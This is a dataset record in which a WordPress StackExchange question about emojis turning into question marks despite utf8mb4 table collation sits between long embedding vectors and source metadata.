-0.01049041748046875, 0.023406982421875, -0.03521728515625, 0.0675048828125, -0.0138092041015625, 0.004100799560546875, -0.01184844970703125, 0.00617218017578125, 0.0172271728515625, 0.0792236328125, -0.03680419921875, 0.025482177734375, -0.018768310546875, -0.020172119140625, 0.0301055908203125, -0.04425048828125, -0.033477783203125, 0.042877197265625, 0.038543701171875, 0.042938232421875, 0.0024204254150390625, 0.0162200927734375, 0.0096588134765625, 0.0035381317138671875, -0.0158843994140625, -0.0355224609375, -0.00543212890625, 0.0177764892578125, -0.040557861328125, 0.018096923828125, 0.0079498291015625, 0.0023670196533203125, 0.01299285888671875, 0.032196044921875, -0.050140380859375, -0.014984130859375, 0.0189971923828125, -0.01331329345703125, -0.029876708984375, 0.0286102294921875, -0.041290283203125, -0.015625, -0.04559326171875, 0.0033397674560546875, 0.09014892578125, 0.07073974609375, 0.0352783203125, -0.01041412353515625, 0.04412841796875, 0.01168060302734375, -0.0016307830810546875, -0.00440216064453125, -0.0056915283203125, -0.004150390625, -0.00433349609375, -0.042388916015625, 0.01209259033203125, -0.00021064281463623047, -0.00811767578125, 0.0293121337890625, 0.0242156982421875, -0.01409149169921875, 0.036407470703125, -0.0390625, 0.04937744140625, -0.01194000244140625, 0.02935791015625, -0.049224853515625, 0.0684814453125, -0.050262451171875, -0.01479339599609375, -0.0545654296875, -0.0135040283203125, -0.01171875, 0.01348114013671875, -0.0053558349609375, -0.0036106109619140625, 0.0191650390625, -0.01538848876953125, -0.0002772808074951172, 0.0204925537109375, 0.049713134765625, 0.01092529296875, 0.016021728515625, 0.039276123046875, 0.0247039794921875, -0.007205963134765625, 0.00748443603515625, 0.00945281982421875, 0.00005054473876953125, 0.03753662109375, -0.00025010108947753906, -0.0210723876953125, -0.0092926025390625, 0.0809326171875, -0.018280029296875, -0.037078857421875, 0.018890380859375, -0.0191192626953125, 0.0120086669921875, 0.018035888671875, -0.006603240966796875, 0.0261077880859375, 0.0186767578125, -0.013336181640625, 0.01526641845703125, -0.036224365234375, -0.0146026611328125, 0.01387786865234375, 0.045166015625, -0.0218048095703125, -0.006748199462890625, -0.0300140380859375, 0.022125244140625, -0.04962158203125, -0.0200347900390625, -0.09735107421875, -0.01690673828125, -0.0283355712890625, 0.06005859375, 0.01198577880859375, 0.0303192138671875, 0.0128021240234375, 0.0220184326171875, -0.0335693359375, 0.00556182861328125, -0.00797271728515625, -0.006435394287109375, -0.0274810791015625, 0.035308837890625, 0.003047943115234375, 0.0396728515625, 0.008575439453125, -0.023773193359375, 0.005443572998046875, -0.029998779296875, -0.01538848876953125, -0.00852203369140625, -0.0057525634765625, 0.0131072998046875, -0.006916046142578125, 0.0226287841796875, 0.0186309814453125, -0.01129913330078125, 0.0300445556640625, 0.0074615478515625, -0.01448822021484375, -0.013946533203125, -0.024017333984375, -0.152099609375, 0.00888824462890625, 0.080078125, 0.03387451171875, -0.02691650390625, -0.007427215576171875, 0.031005859375, 0.0008273124694824219, -0.06439208984375, -0.0081939697265625, 0.021087646484375, 0.00045418739318847656, 0.0028285980224609375, 0.016754150390625, -0.006366729736328125, 0.0175933837890625, -0.0235137939453125, 0.018280029296875, 0.02978515625, 0.0234222412109375, 0.005321502685546875, -0.0200042724609375, -0.0013904571533203125, 0.00235748291015625, -0.042510986328125, -0.0499267578125, -0.008056640625, 0.034912109375, -0.01055908203125, 0.044219970703125, 0.037109375, 0.00015413761138916016, -0.0428466796875, 0.007404327392578125, 0.01471710205078125, 0.01226806640625, 0.00252532958984375, -0.023193359375, 0.057830810546875, -0.006649017333984375, -0.01023101806640625, 0.03265380859375, 0.029296875, -0.041168212890625, -0.046478271484375, 0.0237884521484375, -0.0106658935546875, 0.03192138671875, -0.015716552734375, 0.05694580078125, -0.05035400390625, -0.05584716796875, -0.04486083984375, -0.0011730194091796875, -0.0218505859375, -0.04217529296875, 0.004138946533203125, 0.02581787109375, -0.041839599609375, -0.01666259765625, -0.0408935546875, 0.044403076171875, -0.040985107421875, 0.0119781494140625, 0.062347412109375, 0.00643157958984375, 0.0086822509765625, 0.012939453125, -0.025482177734375, 0.009552001953125, -0.0002799034118652344, -0.01515960693359375, 0.051483154296875, -0.12237548828125, -0.0024433135986328125, 0.0208892822265625, 0.00864410400390625, 0.0034618377685546875, -0.0201873779296875, -0.0293731689453125, 0.01030731201171875, -0.05108642578125, -0.0177459716796875, -0.05029296875, -0.052886962890625, 0.04779052734375, -0.00783538818359375, -0.0007524490356445312, -0.01444244384765625, 0.0162353515625, 0.038787841796875, -0.054351806640625, -0.019561767578125, -0.041168212890625, -0.0626220703125, -0.047393798828125, 0.046295166015625, 0.0031414031982421875, 0.0262908935546875, 0.0026416778564453125, 0.10723876953125, 0.003536224365234375, -0.09686279296875, -0.01535797119140625, 0.01299285888671875, -0.007518768310546875, 0.049560546875, 0.00762176513671875, -0.0300445556640625, 0.036163330078125, -0.00890350341796875, 0.018035888671875, 0.030670166015625, -0.01372528076171875, -0.01287078857421875, -0.0113677978515625, -0.02545166015625, 0.018829345703125, 0.0196685791015625, -0.007232666015625, 0.016326904296875, 0.031524658203125, -0.032470703125, 0.026458740234375, -0.01456451416015625, -0.0176239013671875, 0.0286102294921875, -0.01415252685546875, -0.0201568603515625, -0.004161834716796875, 0.02447509765625, -0.0033359527587890625, -0.010162353515625, 0.0196380615234375, -0.0218505859375, 0.01222991943359375, -0.005443572998046875, -0.001300811767578125, -0.020416259765625, 0.0298309326171875, -0.0219879150390625, 0.0287322998046875, 0.0008478164672851562, -0.026031494140625, -0.042694091796875, 0.0233001708984375, -0.061737060546875, -0.0240325927734375, 0.02581787109375, -0.06536865234375, 0.01568603515625, -0.056427001953125, -0.00469970703125, -0.035614013671875, 0.059814453125, -0.04180908203125, -0.0201873779296875, 0.002277374267578125, 0.0227508544921875, -0.031463623046875, -0.014801025390625, -0.016754150390625, -0.01187896728515625, -0.0364990234375, -0.01285552978515625, -0.007080078125, -0.0196990966796875, -0.00408172607421875, 0.0133514404296875, -0.006137847900390625, -0.0274810791015625, 0.04150390625, -0.0180816650390625, 0.0026874542236328125, 0.0027217864990234375, -0.0007047653198242188, -0.033721923828125, -0.0250091552734375, 0.00959014892578125, -0.0830078125, -0.0024280548095703125, -0.033050537109375, 0.02423095703125, -0.006137847900390625, 0.03094482421875, -0.04669189453125, 0.007595062255859375, 0.015594482421875, 0.044281005859375, -0.025390625, -0.018646240234375, 0.00637054443359375, 0.0242462158203125, 0.016357421875, 0.0032444000244140625, 0.0090179443359375, -0.032623291015625, -0.0221405029296875, -0.0047607421875, -0.045623779296875, -0.01338958740234375, -0.034423828125, -0.028778076171875, -0.018646240234375, -0.038818359375, -0.04156494140625, -0.003780364990234375, -0.01134490966796875, -0.004810333251953125, -0.0462646484375, -0.02227783203125, 0.058502197265625, -0.01544189453125, 0.0023860931396484375, 0.005390167236328125, 0.0916748046875, 0.00586700439453125, -0.016845703125, -0.044036865234375, 0.0031032562255859375, 0.034637451171875, 0.039215087890625, 0.0152435302734375, 0.0057525634765625, -0.038330078125, 0.04400634765625, 0.0232086181640625, 0.0123443603515625, 0.00432586669921875, 0.0107421875, 0.00013303756713867188, -0.031402587890625, 0.014068603515625, -0.00197601318359375, -0.0163421630859375, 0.0155792236328125, -0.005840301513671875, -0.031494140625, -0.020416259765625, 0.03173828125, 0.0078887939453125, 0.029754638671875, -0.022705078125, -0.04254150390625, 0.0248870849609375, -0.012603759765625, 0.00307464599609375, 0.01457977294921875, -0.0087738037109375, 0.0159759521484375, -0.01172637939453125, 0.0021915435791015625, -0.03546142578125, 0.0304107666015625, -0.028289794921875, 0.0452880859375, -0.031097412109375, -0.012176513671875, -0.0408935546875, -0.0191497802734375, 0.0548095703125, 0.00334930419921875, -0.04864501953125, 0.0192108154296875, -0.0177764892578125, 0.0232696533203125, 0.0255126953125, -0.00028061866760253906, 0.038726806640625, 0.0148468017578125, -0.032196044921875, -0.0152587890625, -0.01096343994140625, -0.0275115966796875, -0.049774169921875, -0.02490234375, 0.0099639892578125, -0.033599853515625, 0.021270751953125, -0.032623291015625, 0.031036376953125, -0.0269927978515625, -0.0081787109375, 0.062744140625, 0.0693359375, -0.0361328125, 0.011505126953125, 0.0294036865234375, 0.0121917724609375, -0.08477783203125, 0.0185546875, -0.022247314453125, -0.0223541259765625, 0.0024356842041015625, -0.0013208389282226562, -0.019134521484375, 0.007480621337890625, 0.04425048828125, 0.0212249755859375, -0.0084075927734375, 0.0491943359375, 0.039398193359375, -0.0193634033203125, -0.0294342041015625, 0.01031494140625, 0.054534912109375, 0.0037899017333984375, -0.00017511844635009766, -0.01226043701171875, -0.03173828125, -0.053985595703125, 0.0389404296875, -0.0802001953125, -0.017822265625, 0.0279083251953125, -0.007099151611328125, -0.03955078125, -0.007389068603515625, -0.0216522216796875, 0.006999969482421875, -0.0242156982421875, -0.006221771240234375, 0.0238800048828125, -0.0002434253692626953, 0.0013875961303710938, -0.0291900634765625, -0.020355224609375, 0.0032958984375, 0.005100250244140625, 0.0556640625, 0.0087890625, -0.07391357421875, 0.00319671630859375, -0.04522705078125, -0.0245513916015625, -0.09808349609375, -0.06488037109375, -0.06341552734375, 0.01024627685546875, 0.007808685302734375, 0.036590576171875, -0.024993896484375, -0.0267333984375, 0.005115509033203125, 0.00727081298828125, -0.00586700439453125, 0.04718017578125, 0.00921630859375, 0.025115966796875, 0.0250244140625, 0.054718017578125, 0.02740478515625, 0.00917816162109375, -0.027435302734375, -0.032928466796875, 0.0203704833984375, 0.01381683349609375, -0.0163116455078125, -0.02740478515625, 0.0222320556640625, -0.047515869140625, 0.0084991455078125, -0.00875091552734375, -0.0182952880859375, -0.032012939453125, 0.006504058837890625, -0.025787353515625, 0.067138671875, -0.04376220703125, -0.036834716796875, 0.0099945068359375, -0.049041748046875, -0.0164794921875, 0.007415771484375, 0.0175018310546875, 0.0216064453125, -0.034576416015625, 0.01189422607421875, 0.01555633544921875, -0.02239990234375, 0.045440673828125, 0.032562255859375, 0.01009368896484375, 0.040557861328125, 0.0116729736328125, 0.040435791015625, 0.01161956787109375, -0.01446533203125, 0.053009033203125, -0.0009388923645019531, 0.0694580078125, -0.00011163949966430664, -0.0125579833984375, 0.054931640625, -0.03826904296875, 0.032257080078125, 0.043670654296875, 0.066162109375, -0.04791259765625, 0.015960693359375, 0.01409149169921875, -0.00693511962890625, 0.06195068359375, -0.0017290115356445312, -0.0214080810546875, -0.0791015625, 0.0300445556640625, -0.0239410400390625, -0.007129669189453125, -0.00435638427734375, -0.0232696533203125, -0.01131439208984375, 0.004840850830078125, 0.01055908203125, 0.00737762451171875, -0.01812744140625, -0.027313232421875, 0.016693115234375, -0.00817108154296875, 0.0276947021484375, 0.00916290283203125, 0.01410675048828125, -0.05242919921875, -0.05755615234375, -0.0127105712890625, 0.00751495361328125, -0.058380126953125, 0.040618896484375, 0.0145111083984375, 0.038787841796875, 0.056854248046875, 0.0059661865234375, -0.00433349609375, 0.0295867919921875, 0.023345947265625, 0.0279998779296875, -0.04071044921875, -0.0254974365234375, 0.04266357421875, -0.00027561187744140625, 0.004291534423828125, 0.041046142578125, -0.02880859375, -0.00899505615234375, 0.00957489013671875, 0.09576416015625, -0.0023784637451171875, -0.041656494140625, 0.0296478271484375, -0.0003993511199951172, -0.0235443115234375, 0.0030765533447265625, 0.0131988525390625, -0.0108489990234375, 0.020050048828125, -0.00986480712890625, 0.00759124755859375, 0.01209259033203125, 0.0206756591796875, -0.051025390625, 0.07916259765625, 0.01430511474609375, 0.0232086181640625, 0.0208892822265625, 0.0207672119140625, -0.040008544921875, -0.006603240966796875, -0.0309295654296875, 0.05548095703125, -0.01474761962890625, 0.0242462158203125, -0.04351806640625, -0.0020046234130859375, 0.0010833740234375, 0.01390838623046875, 0.04449462890625, 0.016326904296875, -0.0299530029296875, 0.004055023193359375, 0.040557861328125, 0.0193328857421875, -0.0028209686279296875, 0.0462646484375, 0.01203155517578125, 0.023101806640625, 0.0283966064453125, -0.006656646728515625, 0.044158935546875, -0.03466796875, -0.0290679931640625, 0.0184478759765625, 0.01898193359375, 0.0206451416015625, -0.03411865234375, 0.046905517578125, -0.00843048095703125, -0.019805908203125, 0.0016956329345703125, 0.03790283203125, -0.0015249252319335938, 0.0200958251953125, -0.01338958740234375, 0.034271240234375, 0.0215301513671875, -0.0159759521484375, 0.0364990234375, -0.0007505416870117188, 0.01522064208984375, 0.0038356781005859375, -0.003925323486328125, -0.025970458984375, 0.00911712646484375, 0.00684356689453125, 0.0281982421875, -0.0274810791015625, -0.007488250732421875, -0.00757598876953125, 0.029052734375, -0.007053375244140625, 0.01305389404296875, 0.0018062591552734375, -0.0161285400390625, -0.00543975830078125, -0.0252838134765625, 0.01024627685546875, -0.01464080810546875, -0.0262451171875, -0.02288818359375, -0.046875, -0.009735107421875, 0.01195526123046875, -0.029815673828125, 0.00920867919921875, 0.02850341796875, 0.003765106201171875, -0.0002334117889404297, -0.00806427001953125, -0.002285003662109375, 0.0130462646484375, -0.0384521484375, 0.018463134765625, 0.01500701904296875, 0.032501220703125, -0.007781982421875, 0.037689208984375, 0.01313018798828125, -0.01129913330078125, -0.0148468017578125, 0.02734375, -0.0083770751953125, 0.0239105224609375, -0.047760009765625, -0.0462646484375, 0.0143890380859375, 0.049163818359375, 0.017059326171875, -0.01824951171875, 0.032318115234375, 0.053985595703125, -0.0177001953125, -0.0066070556640625, 0.046722412109375, 0.005802154541015625, 0.0009026527404785156, -0.04315185546875, 0.0389404296875, 0.015716552734375, 0.0007114410400390625, 0.00839996337890625, -0.00545501708984375, 0.056671142578125, -0.0052947998046875, 0.006443023681640625, 0.0028076171875, -0.0210418701171875, 0.03466796875, -0.0218048095703125, 0.034912109375, 0.0088348388671875, -0.0007314682006835938, 0.0029544830322265625, -0.01552581787109375, 0.0127716064453125, -0.01273345947265625, 0.009063720703125, -0.0258941650390625, 0.0704345703125, -0.015655517578125, 0.018218994140625, -0.007396697998046875, -0.034759521484375, 0.0261077880859375, 0.0206451416015625, 0.0018310546875, 0.0328369140625, -0.019561767578125, -0.0099945068359375, -0.00940704345703125, 0.034942626953125, 0.043487548828125, 0.07440185546875, -0.0225677490234375, 0.033355712890625, -0.01561737060546875, -0.0206756591796875, -0.0228271484375, -0.004871368408203125, -0.0268707275390625, -0.0078125, -0.0162811279296875, 0.00789642333984375, -0.070068359375, 0.01177978515625, 0.0257110595703125, -0.005138397216796875, 0.01409149169921875, -0.0230865478515625, 0.0193023681640625, 0.0118560791015625, 0.0055389404296875, -0.03619384765625, -0.044219970703125, -0.003936767578125, 0.004154205322265625, -0.01178741455078125, 0.0005707740783691406, 0.004802703857421875, -0.0135650634765625, 0.0016317367553710938, 0.0028247833251953125, -0.004322052001953125, 0.051361083984375, -0.02911376953125, 0.025726318359375, -0.0290679931640625, 0.00957489013671875, 0.00814056396484375, -0.02313232421875, 0.0021839141845703125, 0.01030731201171875, 0.00762176513671875, -0.01212310791015625, 0.01331329345703125, 0.0021343231201171875, -0.01117706298828125, 0.017608642578125, -0.029754638671875, -0.0004572868347167969, 0.001224517822265625, 0.0214080810546875, -0.027618408203125, -0.0257110595703125, -0.032135009765625, -0.06268310546875, 0.0108489990234375, 0.0226898193359375, -0.01166534423828125, -0.005016326904296875, -0.0232086181640625, 0.022186279296875, 0.03289794921875, 0.00824737548828125, -0.10150146484375, 0.040496826171875, -0.0243377685546875, 0.0826416015625, -0.03955078125, 0.0296173095703125, -0.020660400390625, 0.0159759521484375, -0.033447265625, -0.04180908203125, -0.0256500244140625, 0.0618896484375, -0.0215606689453125, -0.010162353515625, -0.00844573974609375, -0.000011622905731201172, 0.023681640625, -0.013946533203125, 0.00728607177734375, 0.02630615234375, 0.013885498046875, -0.0101470947265625, 0.0517578125, -0.0494384765625, -0.024444580078125, -0.049774169921875, 0.007122039794921875, -0.07305908203125, -0.0341796875, -0.0191192626953125, -0.02301025390625, -0.019287109375, -0.04534912109375, -0.061553955078125, 0.0150299072265625, 0.005580902099609375, -0.03350830078125, -0.05255126953125, -0.02691650390625, -0.0171051025390625, 0.057342529296875, -0.01335906982421875, -0.0186920166015625, -0.0245819091796875, 0.06109619140625, -0.0015773773193359375, 0.01282501220703125, -0.02288818359375, 0.0027637481689453125, -0.037750244140625, 0.034210205078125, 0.03857421875, -0.013092041015625, -0.052093505859375, -0.004329681396484375, 0.04632568359375, 0.0257720947265625, 0.00963592529296875, 0.06396484375, 0.0721435546875, -0.0011816024780273438, -0.00594329833984375, -0.0309295654296875, -0.049896240234375, -0.03948974609375, 0.07769775390625, 0.05975341796875, 0.0283203125, -0.01042938232421875, 0.0092620849609375, -0.00508880615234375, -0.0093994140625, 0.00225067138671875, 0.017425537109375, -0.05804443359375, 0.0036106109619140625, 0.015777587890625, 0.027618408203125, -0.0275115966796875, 0.02392578125, -0.00445556640625, -0.04010009765625, 0.017486572265625, 0.0102996826171875, -0.035675048828125, -0.0213623046875, 0.035003662109375, -0.016571044921875, 0.01531219482421875, 0.0118408203125, 0.00722503662109375, 0.03326416015625, 0.06884765625, 0.0050811767578125, 0.00616455078125, -0.020477294921875, 0.03472900390625, 0.00438690185546875, 0.028900146484375, -0.035369873046875, -0.0095062255859375, -0.0193634033203125, 0.0218048095703125, 0.009185791015625, 0.00463104248046875, -0.0631103515625, 0.0703125, 0.0310516357421875, 0.050506591796875, -0.00496673583984375, -0.021484375, -0.0206756591796875, 0.006908416748046875, -0.01148223876953125, 0.00229644775390625, 0.00635528564453125, -0.016448974609375, 0.01641845703125, 0.0232696533203125, 0.021209716796875, 0.01560211181640625, -0.004669189453125, -0.0811767578125, 0.0009250640869140625, -0.007099151611328125 ]
59ecea1d4af00cf3cebaf5c6d4c34936c7ad1300
Wordpress Stackexchange Q: Emojis getting converted to "?" Emojis in posts and comments on a 500+ posts blog get converted automatically into single question marks in irregular and untraceable intervals. The respective tables wp_comments and wp_posts are configured to have a utf8mb4_unicode_ci collation, albeit in a latin1 / latin1_swedish_ci database, which (to my understanding) shouldn't be a problem, as long as the tables are configured correctly, right? Can anyone point me in the right direction? I was searching for a solution for months on end now and I just can't pinpoint the culprit here. Thanks in advance for any hints.
Q: Emojis getting converted to "?" Emojis in posts and comments on a 500+ posts blog get converted automatically into single question marks in irregular and untraceable intervals. The respective tables wp_comments and wp_posts are configured to have a utf8mb4_unicode_ci collation, albeit in a latin1 / latin1_swedish_ci database, which (to my understanding) shouldn't be a problem, as long as the tables are configured correctly, right? Can anyone point me in the right direction? I was searching for a solution for months on end now and I just can't pinpoint the culprit here. Thanks in advance for any hints.
wordpress
{ "language": "en", "length": 98, "provenance": "stackexchange_00019.jsonl.gz:486478", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304603" }
[ 0.02593994140625, -0.036712646484375, 0.048583984375, 0.051666259765625, -0.0275421142578125, -0.0153045654296875, 0.065185546875, -0.040496826171875, 0.03125, 0.0159912109375, -0.00447845458984375, -0.0253143310546875, 0.038482666015625, -0.03045654296875, -0.004604339599609375, -0.00955963134765625, 0.01343536376953125, 0.00731658935546875, 0.0149383544921875, -0.00640869140625, 0.0011758804321289062, 0.0019969940185546875, 0.01302337646484375, -0.0084991455078125, 0.0272064208984375, -0.00965118408203125, 0.1119384765625, -0.049957275390625, 0.0411376953125, -0.026885986328125, 0.0338134765625, -0.0181121826171875, 0.026824951171875, 0.03997802734375, -0.049224853515625, 0.0234527587890625, -0.0302276611328125, 0.035125732421875, -0.0146942138671875, 0.0270538330078125, 0.031524658203125, -0.0258331298828125, 0.047943115234375, -0.020263671875, 0.019866943359375, -0.01800537109375, 0.04010009765625, -0.026580810546875, 0.05157470703125, -0.054229736328125, -0.00318145751953125, 0.033447265625, 0.0194244384765625, -0.06011962890625, -0.03363037109375, -0.0313720703125, -0.017486572265625, -0.017364501953125, 0.0262603759765625, 0.010528564453125, 0.0006923675537109375, -0.01309967041015625, -0.006862640380859375, -0.0272064208984375, 0.01273345947265625, -0.0105743408203125, 0.01479339599609375, 0.028411865234375, 0.042144775390625, -0.0004718303680419922, -0.02520751953125, 0.0197601318359375, 0.009063720703125, -0.059814453125, 0.016357421875, 0.0662841796875, -0.033935546875, 0.0265350341796875, 0.0147857666015625, -0.00899505615234375, 0.06829833984375, 0.0296783447265625, 0.012237548828125, 0.00415802001953125, -0.0074462890625, -0.01512908935546875, 0.0157318115234375, -0.038848876953125, -0.04962158203125, -0.024078369140625, -0.0285797119140625, -0.0274658203125, -0.08221435546875, 0.04547119140625, 0.0166015625, 0.00487518310546875, -0.007747650146484375, -0.00220489501953125, -0.00957489013671875, -0.0017271041870117188, -0.005893707275390625, -0.03955078125, 0.0280609130859375, -0.020965576171875, 0.0306854248046875, 0.006084442138671875, -0.02783203125, -0.0171966552734375, 0.0797119140625, 0.040374755859375, 0.00891876220703125, 0.0794677734375, -0.0235595703125, -0.06878662109375, 0.038360595703125, 0.0364990234375, -0.0268402099609375, 0.0572509765625, 0.0218353271484375, -0.007656097412109375, -0.01451873779296875, 0.0032939910888671875, 0.01013946533203125, -0.00614166259765625, 0.036712646484375, 0.025604248046875, -0.011077880859375, -0.017486572265625, -0.0256500244140625, 0.04241943359375, -0.01433563232421875, -0.007259368896484375, 0.053863525390625, 0.046905517578125, -0.00627899169921875, -0.032623291015625, -0.005405426025390625, -0.00774383544921875, -0.04156494140625, 0.0537109375, -0.01593017578125, -0.0894775390625, -0.037933349609375, -0.00782012939453125, 0.007640838623046875, 0.02655029296875, 0.0251922607421875, -0.0020847320556640625, 0.0041351318359375, -0.002750396728515625, -0.0467529296875, 0.0294342041015625, -0.0039043426513671875, -0.00920867919921875, 0.02154541015625, -0.0631103515625, 0.02655029296875, -0.05218505859375, 0.044677734375, -0.03668212890625, -0.0179595947265625, -0.005458831787109375, 0.033660888671875, 0.00814056396484375, -0.0269775390625, 0.0235595703125, 0.0034427642822265625, 0.00710296630859375, -0.0033721923828125, -0.00473785400390625, -0.062744140625, -0.0032138824462890625, 0.045440673828125, -0.054534912109375, -0.0491943359375, 0.001171112060546875, -0.00872802734375, -0.02490234375, 0.02099609375, 0.038238525390625, -0.004070281982421875, -0.02264404296875, -0.010498046875, 0.0124969482421875, -0.0180206298828125, 0.03350830078125, 0.0107421875, 0.049591064453125, 0.0301971435546875, 0.01293182373046875, -0.0153656005859375, 0.0024013519287109375, -0.007106781005859375, 0.01261138916015625, 0.0238037109375, -0.00838470458984375, -0.03155517578125, -0.005016326904296875, 0.00887298583984375, -0.042999267578125, 0.024261474609375, -0.0178985595703125, 0.002574920654296875, -0.00865936279296875, -0.06671142578125, -0.0013265609741210938, -0.0201263427734375, 0.019683837890625, -0.022491455078125, 0.002597808837890625, 0.0236053466796875, 0.0030002593994140625, -0.034454345703125, 0.04107666015625, -0.004390716552734375, 0.0088958740234375, 0.0034542083740234375, 0.01702880859375, 0.0011301040649414062, 0.0037975311279296875, -0.0234375, 0.0041046142578125, -0.046356201171875, 0.0038928985595703125, 0.02520751953125, -0.0022106170654296875, -0.01242828369140625, -0.025115966796875, 0.036895751953125, -0.0131072998046875, 0.0190887451171875, 0.0288238525390625, -0.0006852149963378906, -0.017120361328125, -0.032012939453125, 0.00765228271484375, 0.003124237060546875, -0.0267791748046875, 0.0036449432373046875, 0.041778564453125, 0.039886474609375, -0.022674560546875, 0.01427459716796875, 0.0149688720703125, 0.03155517578125, 0.02203369140625, 0.052093505859375, -0.030548095703125, -0.00514984130859375, 0.044525146484375, 0.0216827392578125, -0.01727294921875, -0.012542724609375, -0.047882080078125, -0.00267791748046875, 0.00826263427734375, 0.007640838623046875, 0.0172271728515625, -0.018341064453125, 0.013916015625, -0.00496673583984375, -0.0458984375, -0.021820068359375, -0.0188446044921875, -0.02777099609375, -0.0305938720703125, -0.0020999908447265625, -0.0113067626953125, 0.00970458984375, -0.023681640625, 0.0202178955078125, 0.0067901611328125, -0.00021660327911376953, 0.03363037109375, -0.025604248046875, 0.0173797607421875, -0.0400390625, 0.01544952392578125, 0.00875091552734375, 0.008697509765625, -0.005489349365234375, 0.026458740234375, -0.03631591796875, -0.0114288330078125, 0.007694244384765625, 0.050537109375, -0.0235137939453125, 0.01184844970703125, -0.08990478515625, -0.0279388427734375, -0.0078887939453125, 0.0830078125, -0.003936767578125, 0.01166534423828125, 0.025360107421875, 0.040435791015625, 0.040374755859375, -0.054046630859375, 0.038299560546875, -0.023895263671875, 0.0589599609375, 0.055145263671875, 0.012237548828125, -0.0048980712890625, 0.0018787384033203125, 0.01183319091796875, 0.0240936279296875, 0.000690460205078125, -0.0091094970703125, -0.01195526123046875, -0.00818634033203125, 0.0201873779296875, -0.0081329345703125, 0.06207275390625, -0.048370361328125, -0.056884765625, 0.002033233642578125, 0.000392913818359375, -0.038543701171875, -0.02984619140625, -0.0234527587890625, -0.0211334228515625, -0.006992340087890625, -0.00917816162109375, 0.00856781005859375, -0.004642486572265625, -0.0119476318359375, -0.0086669921875, -0.0106658935546875, -0.01091766357421875, -0.01995849609375, -0.039794921875, -0.0341796875, 0.0295257568359375, 0.01458740234375, 0.01934814453125, 0.004486083984375, -0.0087738037109375, -0.0167999267578125, 0.026458740234375, 0.006916046142578125, 0.0118255615234375, 0.00392913818359375, -0.04901123046875, 0.00960540771484375, 0.015838623046875, -0.0210113525390625, 0.00919342041015625, -0.01959228515625, 0.0445556640625, -0.056304931640625, 0.0112457275390625, -0.0249176025390625, 0.02618408203125, 0.0238800048828125, -0.038818359375, 0.019317626953125, 0.06915283203125, 0.00980377197265625, 0.00612640380859375, -0.00653839111328125, -0.0225067138671875, -0.0223236083984375, 0.01824951171875, -0.036590576171875, 0.01546478271484375, -0.016845703125, 0.054840087890625, 0.00040602684020996094, 0.0169830322265625, 0.03839111328125, -0.016357421875, -0.00008159875869750977, -0.00826263427734375, -0.01568603515625, -0.0246734619140625, -0.0185699462890625, -0.046600341796875, 0.06689453125, 0.00276947021484375, 0.005466461181640625, -0.001377105712890625, 0.0097808837890625, 0.002796173095703125, -0.01111602783203125, 0.046630859375, -0.0189971923828125, 0.01332855224609375, -0.008209228515625, -0.029510498046875, -0.0287628173828125, 0.0689697265625, 0.0024433135986328125, -0.020477294921875, 0.01025390625, 0.01953125, -0.054901123046875, -0.054779052734375, -0.01056671142578125, -0.0169677734375, -0.0220489501953125, -0.0145721435546875, -0.00286102294921875, -0.00867462158203125, -0.018829345703125, 0.0250396728515625, -0.0282745361328125, -0.0224761962890625, 0.0122833251953125, -0.038848876953125, 0.022369384765625, -0.004482269287109375, 0.02642822265625, -0.0092010498046875, 0.0137939453125, -0.0623779296875, -0.064697265625, -0.035858154296875, 0.001964569091796875, 0.077392578125, 0.0234375, -0.06817626953125, 0.0003254413604736328, 0.064208984375, 0.01447296142578125, -0.017425537109375, 0.0135650634765625, 0.031768798828125, -0.032257080078125, -0.06622314453125, -0.006591796875, -0.07989501953125, 0.0054779052734375, 0.0018405914306640625, -0.0028533935546875, -0.003108978271484375, -0.043060302734375, -0.03985595703125, -0.0205535888671875, -0.022857666015625, -0.0272369384765625, 0.0062103271484375, -0.0111541748046875, 0.0457763671875, -0.021728515625, 0.0093536376953125, -0.0217437744140625, -0.052276611328125, 0.0215911865234375, 0.016510009765625, 0.01458740234375, 0.01511383056640625, 0.01447296142578125, 0.0197906494140625, -0.03662109375, -0.03924560546875, 0.004119873046875, 0.02960205078125, 0.0021514892578125, 0.03717041015625, 0.055908203125, 0.0033054351806640625, 0.0026988983154296875, 0.024261474609375, 0.027435302734375, -0.020599365234375, 0.04205322265625, -0.00009757280349731445, -0.0043182373046875, 0.04400634765625, 0.0054168701171875, -0.041168212890625, 0.0833740234375, -0.0038623809814453125, -0.0191650390625, -0.0180206298828125, 0.06170654296875, -0.01495361328125, -0.041778564453125, -0.06982421875, -0.05926513671875, 0.01474761962890625, -0.0309295654296875, -0.0239410400390625, -0.038482666015625, 0.0250701904296875, -0.019439697265625, 0.012725830078125, -0.009979248046875, -0.042877197265625, 0.0266876220703125, -0.039764404296875, 0.034942626953125, -0.0303192138671875, -0.0231781005859375, -0.02862548828125, 0.0089111328125, 0.0201568603515625, -0.00007081031799316406, -0.0264434814453125, -0.018707275390625, 0.0107421875, 0.005279541015625, 0.00434112548828125, -0.0104217529296875, -0.03131103515625, 0.0025844573974609375, 0.0026073455810546875, 0.016845703125, -0.005283355712890625, 0.0080718994140625, -0.0209503173828125, -0.003231048583984375, -0.0097808837890625, -0.0123748779296875, 0.035614013671875, 0.005886077880859375, -0.037200927734375, 0.0292510986328125, 0.0029392242431640625, -0.032989501953125, -0.01189422607421875, 0.04376220703125, 0.033538818359375, -0.04718017578125, 0.003536224365234375, 0.0192108154296875, 0.03045654296875, -0.0011930465698242188, 0.0086212158203125, 0.031768798828125, -0.003246307373046875, 0.019500732421875, 0.00975799560546875, -0.007076263427734375, -0.004730224609375, -0.03021240234375, 0.0284881591796875, 0.04376220703125, -0.02886962890625, 0.0005064010620117188, 0.0201568603515625, 0.0230560302734375, 0.0146942138671875, -0.0038356781005859375, -0.00896453857421875, -0.0197296142578125, 0.037506103515625, 0.021759033203125, 0.023040771484375, -0.015869140625, -0.029541015625, 0.0190887451171875, -0.0109100341796875, 0.00506591796875, -0.00887298583984375, -0.0028018951416015625, -0.01203155517578125, -0.00022602081298828125, 0.0200042724609375, 0.015838623046875, -0.0005502700805664062, 0.0247955322265625, -0.044036865234375, 0.07733154296875, 0.0010957717895507812, 0.049346923828125, -0.0243377685546875, -0.0223388671875, 0.03472900390625, -0.0304718017578125, -0.024627685546875, 0.0232086181640625, -0.0301666259765625, -0.055084228515625, -0.051300048828125, 0.0305023193359375, 0.025054931640625, 0.01329803466796875, -0.014739990234375, -0.05157470703125, 0.013916015625, 0.037322998046875, 0.08209228515625, 